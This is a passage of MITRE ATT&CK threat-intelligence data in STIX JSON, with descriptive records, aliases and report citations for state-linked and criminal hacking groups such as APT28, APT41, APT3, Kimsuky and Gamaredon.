2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094).   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2017)"},{"source_name":"SNAKEMACKEREL","description":"(Citation: Accenture SNAKEMACKEREL Nov 2018)"},{"source_name":"Swallowtail","description":"(Citation: Symantec APT28 Oct 2018)"},{"source_name":"Group 74","description":"(Citation: Talos Seduploader Oct 2017)"},{"source_name":"Sednit","description":"This designation has been used in reporting both to refer to the threat group and its associated malware [JHUHUGIT](https://attack.mitre.org/software/S0044).(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018)"},{"source_name":"Sofacy","description":"This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)"},{"source_name":"Pawn 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(2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"url":"https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/","description":"Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.","source_name":"Ars Technica GRU indictment Jul 2018"},{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"url":"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign","description":"SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.","source_name":"SecureWorks TG-4127"},{"source_name":"FireEye APT28 January 2017","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"},{"source_name":"GRIZZLY STEPPE JAR","description":"Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.","url":"https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"},{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"Symantec APT28 Oct 2018","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"},{"description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"},{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."},{"source_name":"Secureworks IRON TWILIGHT Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-twilight","description":"Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022."},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."},{"description":"MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.","url":"https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/","source_name":"Microsoft STRONTIUM Aug 2019"},{"source_name":"Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020","url":"https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/","description":"Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020."}],"modified":"2022-03-16T18:08:13.958Z","name":"APT28","description":"[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019)\n\n[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). ","x_mitre_version":"4.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Gorgon Group"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0078","external_id":"G0078"},{"source_name":"Gorgon Group","description":"(Citation: Unit 42 Gorgon Group Aug 2018)"},{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2021-10-12T21:57:25.847Z","name":"Gorgon Group","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)","x_mitre_version":"1.5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-30T14:26:51.806Z","name":"OS API Execution","description":"Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Volatile Cedar","Lebanese Cedar"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","created":"2021-02-08T20:30:30.578Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"G0123","url":"https://attack.mitre.org/groups/G0123"},{"source_name":"Volatile Cedar","description":"(Citation: CheckPoint Volatile Cedar March 2015)"},{"source_name":"Lebanese Cedar","description":"(Citation: ClearSky Lebanese Cedar Jan 2021)"},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."},{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)","modified":"2022-04-20T20:08:15.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Volatile Cedar","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["IndigoZebra"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","type":"intrusion-set","created":"2021-09-24T21:41:34.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0136","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0136"},{"source_name":"IndigoZebra","description":"(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)"},{"source_name":"HackerNews IndigoZebra July 2021","url":"https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html","description":"Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021."},{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."},{"source_name":"Securelist APT Trends Q2 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.","url":"https://securelist.com/apt-trends-report-q2-2017/79332/"}],"modified":"2021-10-16T02:06:06.404Z","name":"IndigoZebra","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT41","WICKED PANDA"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","type":"intrusion-set","created":"2019-09-23T13:43:36.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/groups/G0096","source_name":"mitre-attack","external_id":"G0096"},{"source_name":"APT41","description":"(Citation: FireEye APT41 2019)"},{"source_name":"WICKED PANDA","description":"(Citation: Crowdstrike GTR2020 Mar 2020)"},{"source_name":"FireEye APT41 Aug 2019","url":"https://content.fireeye.com/apt-41/rpt-apt41","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."},{"source_name":"Group IB APT 41 June 2021","url":"https://blog.group-ib.com/colunmtk_apt41","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2021-10-15T00:28:08.413Z","name":"APT41","description":"[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\n","x_mitre_version":"3.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT3","Gothic Panda","Pirpi","UPS Team","Buckeye","Threat Group-0110","TG-0110"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Patrick Sungbahadoor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","type":"intrusion-set","created":"2017-05-31T21:31:55.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0022","external_id":"G0022"},{"source_name":"APT3","description":"(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"Gothic Panda","description":"(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"Pirpi","description":"(Citation: PWC Pirpi Scanbox)"},{"source_name":"UPS Team","description":"(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"Buckeye","description":"(Citation: Symantec Buckeye)"},{"source_name":"Threat Group-0110","description":"(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"TG-0110","description":"(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"},{"source_name":"Recorded Future APT3 May 2017","description":"Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.","url":"https://www.recordedfuture.com/chinese-mss-behind-apt3/"},{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"},{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"},{"url":"https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf","description":"Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.","source_name":"APT3 Adversary Emulation Plan"},{"source_name":"PWC Pirpi Scanbox","description":"Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.","url":"http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html"}],"modified":"2021-10-01T19:09:20.817Z","name":"APT3","description":"[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)\n\nIn 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["FIN8"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0061","external_id":"G0061"},{"source_name":"FIN8","description":"(Citation: FireEye Obfuscation June 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","source_name":"FireEye Obfuscation June 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html","description":"Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","source_name":"FireEye Fin8 May 2016"}],"modified":"2021-10-12T21:31:07.407Z","name":"FIN8","description":"[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Kimsuky","STOLEN PENCIL","Thallium","Black Banshee","Velvet Chollima"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Taewoo Lee, KISA"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","type":"intrusion-set","created":"2019-08-26T15:03:02.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0094","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0094"},{"source_name":"Kimsuky","description":"(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)"},{"source_name":"STOLEN PENCIL","description":"(Citation: Netscout Stolen Pencil Dec 2018)"},{"source_name":"Thallium","description":"(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)"},{"source_name":"Black Banshee","description":"(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)"},{"source_name":"Velvet Chollima","description":"(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)"},{"source_name":"EST Kimsuky April 2019","url":"https://blog.alyac.co.kr/2234","description":"Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019."},{"source_name":"BRI Kimsuky April 2019","url":"https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/","description":"BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019."},{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."},{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."},{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."},{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."},{"source_name":"EST Kimsuky SmokeScreen April 2019","url":"https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf","description":"ESTSecurity. (2019, April 17). Analysis of the APT Campaign ‘Smoke Screen’ targeting to Korea and US  출처: https://blog.alyac.co.kr/2243 [이스트시큐리티 알약 블로그]. Retrieved September 29, 2021."},{"source_name":"AhnLab Kimsuky Kabar Cobra Feb 2019","url":"https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf","description":"AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021."},{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."},{"description":"Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.","url":"https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/","source_name":"Zdnet Kimsuky Dec 2018"},{"source_name":"ThreatConnect Kimsuky September 2020","url":"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/","description":"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."}],"modified":"2022-03-23T18:54:26.218Z","name":"Kimsuky","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.","x_mitre_version":"3.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Gamaredon Group","IRON TILDEN","Primitive Bear","ACTINIUM","Armageddon","Shuckworm","DEV-0157"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET","Trend Micro Incorporated"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","created":"2017-05-31T21:32:09.849Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"G0047","url":"https://attack.mitre.org/groups/G0047"},{"source_name":"ACTINIUM","description":"(Citation: Microsoft Actinium February 2022)"},{"source_name":"DEV-0157","description":"(Citation: Microsoft Actinium February 2022)"},{"source_name":"Gamaredon Group","description":"(Citation: Palo Alto Gamaredon Feb 2017)"},{"source_name":"IRON TILDEN","description":"(Citation: Secureworks IRON TILDEN Profile)"},{"source_name":"Armageddon","description":"(Citation: Symantec Shuckworm January 2022)"},{"source_name":"Shuckworm","description":"(Citation: Symantec Shuckworm January 2022)"},{"source_name":"Primitive Bear","description":"(Citation: Unit 42 Gamaredon February 2022)"},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."},{"source_name":"TrendMicro Gamaredon April 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."},{"source_name":"Palo Alto Gamaredon Feb 